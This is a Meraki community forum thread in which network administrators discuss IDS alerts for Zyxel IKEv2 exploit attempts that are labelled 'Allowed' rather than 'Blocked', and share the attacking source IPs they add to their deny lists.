The MX actively listens on UDP port 500/4500 for incoming Client VPN connection requests. We can see that these remote IPs are using UDP port 500, however these incoming connections are not being forwarded onto the LAN. Although it says "allowed", that is just the default IDS event value in the logs when no two-way traffic flow was detected. The MX inbound firewall blocked this connection attempt before SNORT (IDS/IPS engine) was able to complete its packet inspection. Having prevention enabled under Threat Protection will actively scan and filter malicious traffic pattern, so that setting is good. 

Here is also a Meraki community thread that talks more about it - https://community.meraki.com/t5/Security-SD-WAN/Security-Center/m-p/224281

I can confirm that the MX and SNORT are doing their jobs as expected. Please feel free to let me know if you have any additional questions.

[JessIT1]

The only thing is, some customers are seeing the action on these IP’s as blocked and customers like me and quite a few others are getting an allowed action, how can that be explained?

[Dunky]

I am seeing the same hitting my MX's.  They all show as BLOCKED in the MX Events tab apart from one site where it shows ALLOWED with the exact same settings.

The reply I got from support was:

"The indication "Allowed" on this alert does not imply that the attempted injection/overflow is accepted. Due to out-of-band packet processing, the MX could not locate the individual packet during this processing hence why it labelled it as allowed even though it was still blocked. This occurs due to high memory constraints/load on an MX, where I can see on the backend that the load on this MX is over the threshold where it will have to stop certain processes to wait for a free CPU

cycle to run processes."

I have since raised feedback asking for MX memory/CPU load to be visible in the dashboard.  Given that support can see it at the backend I see no reason why it shouldnt be available in the dashboard as it could assist with capacity planning.

[Merakeee]

We are experiencing the same thing but consistently seeing blocked. We have the VPN offline currently until I understand why we are seeing blocked and others are seeing allowed to quell any doubts.

My understanding from your post would indicate that given I know our VPN is sat on a MX has plenty of bandwidth day to day - We will always have the overhead to have free cycles to analyse the packets. 

From a design point of view, having a VPN on an actively and heavily used MX without considering overheads for free cycles seems like you might need to deal with cases like this more often. Would it be better to run a seperate MX for a VPN or atleast upgrade to one that will likely have plenty of overhead.

I agree, having the MX mem/cpu load visible would be a huge advantage to pave the way for better planning. 

[nishmeNtic]

More attacks today.

src_ip: 185.224.128.74

src_ip: 149.50.116.115

src_ip: 193.177.182.40

[Merakeee]

Yep, we have the same ips on our logs too.

[Dunky]

All our MX's being hit too, diff src IP's though.

[nishmeNtic]

Please share the IP's.

[Dunky]

193.177.182.40
149.50.116.115
185.224.128.74

[JessIT1]

We had same IP's hit one of our MX

193.177.182.40:500
149.50.116.115:500
185.224.128.74:500

[nishmeNtic]

I followed up on my open ticket with them 2 weeks ago.

They really need to have this addressed, how are customers going to know there is no issues unless you ask.

[Dunky]

The worrying part is where against some MX's it says "Allowed" but when you speak to support they say no it hasnt!   Really needs to report correctly in the dashboard as its incorrect saying 'Allowed'.

[nishmeNtic]

Agreed, dragging out since Feb /24.

[Merakeee]

My understanding is that the behaviour is correct and it did allow the traffic because it never got chance to do something with it.

Packet comes in, hits the IDS and the cycle begins. During the check, the firewall itself drops the packet and stops processing it. The IDS lists this as Allowed as the traffic is technically allowed to pass through the IDS.

If that is correct, probably better for the status to list the packet as "Dropped".

What interests me the most about the status is the fact that we have never seen the packet allowed. Its always blocked. I presume that will because our IDS gets chance to process it fully before its passed, I get the impression our MX is likely not over worked, I have a habit of buying bigger than we need for overheads.

Meraki really do need to show the status of the hardware usage in the portal. If your MX is flat out most of the time, you'd never really know unless its affecting realtime performance.

[Dunky]

Yeah, that's what support told me.  Our MX is overworked (but we have no visibility of that) - I think mainly due to having group policies on some VLANs that whitelist URL's so its constantly logging blocked ones.

Even so, displaying "Allowed" is just plain wrong - had our Risk/Security Dept running around asking why IDS had permitted malicious traffic into our network. - Imagine trying to explain that for that particular MX the "Allowed" is incorrect when all the other MX's show "Blocked".

[JessIT1]

I agree, wasn't until a recent response from someone in this thread that their Zyxel IP hits showed blocked as opposed to allowed like all of mine that I don't completely think these rogue IP's are truly being blocked. I just keep adding the IP's to our layer 3 & 7 rules as deny and hope for the best..too many other security vectors to focus on, Meraki needs to address this ASAP, it's out of my control as to how IDS works.

[nishmeNtic]

New IP -

80.94.95.45

[JessIT1]

Thanks for the heads up on this one, I don’t get my alerts of what was blocked or allowed until the morning so I logged in and added this IP to my layer 3 & 7 deny rules.

[nishmeNtic]

No problem, as I get them - they'll be posted here for the community.  High severity logs from the appliances are sent to our SIEM.

I still have an active ticket open, hopefully some intention of actually sorting out.

[JessIT1]

New IP that hit one of our MX's with (2) WANS

185.16.39.29:500

[Jamest201]

We got some hits from that same IP last night

[nishmeNtic]

New IP - 

src: 69.69.69.69:500 

[Jamest201]

We also got this one 98.50.117.73

[nishmeNtic]

New IP -

msg: SERVER-WEBAPP Zyxel unauthenticated IKEv2 overflow attempt  

msg_type: security_event  

name: 

priority: High  

protocol: udp/ip  

sha256:  

shost:  

signature: 1:62808:1  

src: 98.50.117.56:500  

src_ip: 98.50.117.56  

src_port: 500  

type: ids_alerted  

url:  

[JessIT1]

Yes, received that one as well. At this point we are over 6 months since I started this thread for these allowed attacks. There has been several explanations from Meraki support stating these attacks are not actually getting through to the LAN. I just think the allowed action is going to continue the concern for customers that have not seen this thread yet.

Zyxel unauthenticated IKEv2 command injection attempt

Zyxel unauthenticated IKEv2 overflow attempt

[Dunky]

I agree 100%, showing ALLOWED is just plain wrong.

[nishmeNtic]

I still have an active ticket open here's the reply.  Unbelievable.

Hey xxxx,

We can escalate but it would be ineffective for changing this behavior. The best way to request a behavioral change would be to submit a feature request through your sales rep. Please let me know if you have any questions.

Thanks,

xxx xxxxxx

Cisco Meraki Technical Support

[Dunky]

I don't understand why someone at Meraki cannot understand why saying packets are ALLOWED when they are not thinks this is acceptable.  Do they not understand how we have to explain this to Security people who keep asking why malicious packets are being allowed onto our LAN's.

Maybe we should start logging cases daily until this is fixed 🙂

This issue needs to be brought to the attention of someone like the MX product manager or someone similar.

[Dunky]

@Ryan_Miles Is there anything you can do to get some traction on this or at least point us to someone in Meraki that we should raise this with?

[nishmeNtic]

I agree, we should all launch a campaign until it gets sorted.  I'm not closing mine.

[JessIT1]

I guess they are admitting marking a threat as allowed is Standard Operating Procedure if the threat contains packets that were dropped before they were dropped onto network LANS..again we as customers are not privy to how the back end works with Meraki IDS, we just know malicious IP's are attempting to hit our MX WAN's and their IDS is showing action as allowed, so as IT folks when do we know when it's an actual threat or a false positive..that should not be on us.

[Dunky]

I think its much simpler than that.  It is clearly stating that the packet has been ALLOWED onto our LANs when we know that we have configured IDP to block these.

The report has to show that the packet has been dropped otherwise we keep getting it in the ear every day asking why our Meraki firewalls are not blocking malicious packets (when Meraki support tell us the opposite to what is inferred by the Security Center).

Its even getting to the stage now where I am being challenged why we are using Meraki MX's when this is happening!!

[nishmeNtic]

2 New IPs -

msg: SERVER-WEBAPP Zyxel unauthenticated IKEv2 command injection attempt  

msg_type: security_event  

name: xxxx

priority: High  

protocol: udp/ip  

sha256:  

shost:  

signature: 1:61865:2  

src: 98.50.117.57:500  

src_ip: 98.50.117.57   

src_port: 500  

type: ids_alerted  

url:  

msg: SERVER-WEBAPP Zyxel unauthenticated IKEv2 command injection attempt  

msg_type: security_event  

name: xxxxx

priority: High  

protocol: udp/ip  

sha256:  

shost:  

signature: 1:61865:2  

src: 70.70.70.70:500  

src_ip: 70.70.70.70   

src_port: 500  

type: ids_alerted  

url:  

[nishmeNtic]

New IP -

msg: SERVER-WEBAPP Zyxel unauthenticated IKEv2 command injection attempt  

msg_type: security_event  

name: xxxx

priority: High  

protocol: udp/ip  

sha256:  

shost:  

signature: 1:61865:2  

src: 198.100.150.85:500  

src_ip: 198.100.150.85   

src_port: 500  

type: ids_alerted  

url:  

[nishmeNtic]

3 new IP's - this is getting out of hand.

98.27.28.1

69.69.69.70

98.27.12.6 

[JessIT1]

yep, got those as well, added to my layer 7, layer 3 deny list, crazy.

[Jamest201]

Yep, added those to my ever growing list too

[Jamest201]

Some new IP's to block

87.120.166.69:500
87.120.166.70:500
70.70.70.72:500
87.120.166.231:500
87.120.166.69:500

[JessIT1]

I also received those IP's.  However I recently replaced 3 of my firewalls that could no longer could receive firmware updates, and now the Zyxel unauthenticated IKEv2 command injection attempt and Zyxel unauthenticated IKEv2 overflow attempts that have been plaguing our MX's since February now sh...MX 18.211.2 version allowed the 

Intrusion detection and prevention to block..strange.

[nishmeNtic]

Which MX couldn't receive updates?  Which model are you using now?  Thanks

[Dunky]

I've got the issue on an MX84 which cannot be upgraded (its on 18.107.11), although its running at 33%+ utilization which may be the issue rather than the firmware version

[nishmeNtic]

same, i just checked it wont allow firmware upgrades higher on MX84.  I got to check when these will be eol.

[Dunky]

MX84 End-of-Support is Oct 31, 2026

[JessIT1]

Wow, 2026, might have jumped the gun then.. My thought was just since firmware updates had reached EOL that I did not want any lapse in security to be our downfall. And again, odd that after I upgraded all those rogue IP's showing allowed, now show blocked, maybe a coincidence..

[Dunky]

@JessIT1  What utilization was the old MX running at compared to the new one?

[JessIT1]

Not sure, did not check that. How do you check an MX's utilization?

[JessIT1]

MX64, MX64W, MX84 could not go past 18.200.  Now using MX 67, MX67W, MX95

[nishmeNtic]

another cash grab to update all these older ones.

[JessIT1]

We were going on 8 years of running those 3 MX's we replaced.

[Dunky]

Had a good run then 🙂

[MerUser874]

---

@JessIT1 wrote:

I also received those IP's.  However I recently replaced 3 of my firewalls that could no longer could receive firmware updates, and now the Zyxel unauthenticated IKEv2 command injection attempt and Zyxel unauthenticated IKEv2 overflow attempts that have been plaguing our MX's since February now sh...MX 18.211.2 version allowed the 

Intrusion detection and prevention to block..strange.

---

FWIW, we are using MX250s, updated to 18.211.2, and it's still showing as allowed on ours. We are not over-utilized either.

[nishmeNtic]

Updated list, 3 new ones at the bottom in the last day.

98.197.21.76/32
98.197.26.56/32
141.98.11.79/32
149.50.116.115/32
185.224.128.74/32
193.177.182.40/32
80.94.95.45/32
185.16.39.29/32
69.69.69.69/32
98.50.117.73/32
98.50.117.56/32
98.50.117.57/32
70.70.70.70/32
198.100.150.85/32
98.27.28.1/32
69.69.69.70/32
98.27.12.6/32
98.27.28.26/32
98.27.28.34/32
98.27.28.31/32
87.120.166.70/32
87.120.166.69/32
87.120.166.231/32
98.50.117.71/32
87.120.166.201/32
80.75.212.46/32
193.111.248.54/32
74.74.74.74/32

[nlev]

Not sure if this is related, but I wanted to share our experience with this Zyxel IDS detection. We were having issues with a DMVPN connection dropping out randomly and found that this Zyxel detection was showing Blocked action. I have whitelisted it as it appears to be a false positive for our environment. Just wanted to share in case anyone else sees false positives with this detection.

[aungmyatmin521]

Updated:
98.197.21.76/32
98.197.26.56/32
141.98.11.79/32
149.50.116.115/32
185.224.128.74/32
193.177.182.40/32
80.94.95.45/32
185.16.39.29/32
69.69.69.69/32
98.50.117.73/32
98.50.117.56/32
98.50.117.57/32
70.70.70.70/32
198.100.150.85/32
98.27.28.1/32
69.69.69.70/32
98.27.12.6/32
98.27.28.26/32
98.27.28.34/32
98.27.28.31/32
87.120.166.70/32
87.120.166.69/32
87.120.166.231/32
98.50.117.71/32
87.120.166.201/32
80.75.212.46/32
193.111.248.54/32
74.74.74.74/32
89.187.185.81/32